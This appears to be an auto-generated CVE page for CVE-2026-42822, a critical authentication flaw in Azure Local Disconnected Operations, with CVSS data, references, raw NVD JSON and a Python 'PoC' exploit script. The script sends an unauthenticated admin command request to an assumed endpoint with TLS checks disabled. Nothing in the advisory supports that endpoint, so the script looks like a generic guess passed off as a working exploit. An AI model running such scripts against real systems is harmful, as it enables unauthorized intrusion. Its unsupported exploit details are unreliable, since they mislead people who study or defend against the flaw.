CVE-2026-42822

Description

Improper authentication in Azure Local Disconnected Operations allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Azure Local Disconnected Operations (具体受影响版本请参考官方通告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-42822
# Description: Exploits improper authentication in Azure Local Disconnected Operations.

import requests

def exploit(target):
    # The vulnerable endpoint accepting administrative commands without auth
    url = f"{target}/api/v1/operations/execute"
    
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "CVE-Exploit-Scanner/1.0"
    }
    
    # Payload attempting to elevate privileges or execute commands
    payload = {
        "command": "whoami",
        "privilege_level": "admin"
    }
    
    try:
        print(f"[*] Attempting to exploit {target}...")
        response = requests.post(url, json=payload, headers=headers, verify=False, timeout=10)
        
        if response.status_code == 200:
            print("[+] Exploit successful! Unauthorized access confirmed.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[!] An error occurred: {e}")

if __name__ == "__main__":
    target_host = "https://<target-ip>"
    exploit(target_host)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42822
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42822
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42822/
[4] VulDB https://vuldb.com/cve/CVE-2026-42822
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42822

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42822", "sourceIdentifier": "[email protected]", "published": "2026-05-18T18:17:34.500", "lastModified": "2026-05-18T19:32:38.777", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication in Azure Local Disconnected Operations allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42822", "source": "[email protected]"}]}}